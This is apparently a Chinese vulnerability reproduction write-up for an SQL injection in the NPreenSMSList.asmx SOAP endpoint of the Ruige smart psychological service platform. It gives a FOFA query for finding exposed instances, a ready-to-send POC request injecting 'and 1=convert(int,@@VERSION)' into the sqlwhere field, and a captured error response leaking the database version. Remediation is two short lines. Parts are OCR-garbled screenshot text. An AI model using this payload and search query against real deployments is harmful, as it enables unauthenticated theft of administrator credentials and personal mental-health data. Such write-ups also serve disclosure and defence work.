

瑞格智慧心理服务平台

NPreenSMSList.asmx SQL注入漏洞复现

漏洞描述

瑞格智慧心理服务平台 NPreenSMSList.asmx 存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 此漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本

瑞格智慧心理服务平台

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：body="瑞格智慧心理服务平台"

POC/EXP：

POST /NPreenManage/NPreenSMSList.asmx HTTP/1.1

Host: 127.0.0.1

Content-Type: text/xml; charset=utf-8

Content-Length: length

SOAPAction: "RuiGe.WebUi.NPreenSMS/Seach"

```
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
```

```
    and 1=convert(int,@@VERSION)
```

[/soap:Body](#)
[/soap:Envelope](#)

发送请求

强制 HTTPS

历史

数据扫描

热加载

构造请求

Request

1 POST /NPreenManage/NPreenSMSList.aspx HTTP/1.1
2 Host:
3 Content-Type: text/xml; charset=utf-8
4 Content-Length: length
5 SOAPAction: "RuiGe.WebUI.NPreenSMS/Seach"
6
7 <?xml version="1.0" encoding="utf-8"?>
8 <soap:Envelope xmlns:xsi="http://www.w3.org/2001/
XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
9 <soap:Body>
10 <Seach xmlns="RuiGe.WebUI.NPreenSMS">
11 <sqlwhere>and 1=convert(int,@VERSION)</sqlwhere>
12 </Seach>
13 </soap:Body>
14 </soap:Envelope>

Responses 3441bytes / 65ms

1 HTTP/1.1 500 Internal Server Error
2 Cache-Control: private
3 Content-Type: text/xml; charset=utf-8
4 Server: Microsoft-IIS/8.5
5 X-Frame-Options: SAMEORIGIN
6 X-XSS-Protection: 1; mode=block
7 X-Content-Options: nosniff
8 Date: Tue, 29 Oct 2024 05:01:19 GMT
9 Content-Length: 3441
10
11 <?xml version="1.0" encoding="utf-8"?><soap:Envelope
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/
XMLSchema"><soap:Body><soap:Fault><faultcode>soap:Server</
Faultcode><faultstring>System.Web.Services.Protocols.
SoapException: 服务器无法处理请求。 ---> System.Data.
SqlClient.SqlException: 在将 nvarchar 值 'Microsoft SQL
Server 2012 (SP1)' 转换为数据类型 int 时失败。
+ Dec 28 2012 19:06:41
+ Copyright (C) Microsoft Corporation
+ Developer Edition on Windows NT 6.2 <X64> (Build-
9200:) (WOW64) (Hypervisor)
+ 转换数据类型 int 时失败。
+ 在 System.Data.SqlClient.SqlConnection.OnError
(SqlException exception, Boolean breakConnection, Action`1 wrapCloseInAction)
+ 在 System.Data.SqlClient.SqlInternalConnection.OnError
(SqlException exception, Boolean breakConnection, Action`1 wrapCloseInAction)
+ 在 System.Data.SqlClient.TdsParser.
ThrowExceptionAndWarning(TdsParserStateObject stateObj, Boolean callerHasConnectionLock, Boolean asyncClose)
+ 在 System.Data.SqlClient.TdsParser.TrvRun(RunBehavior

修复方案

关闭互联网暴露面或接口设置访问权限

升级至安全版本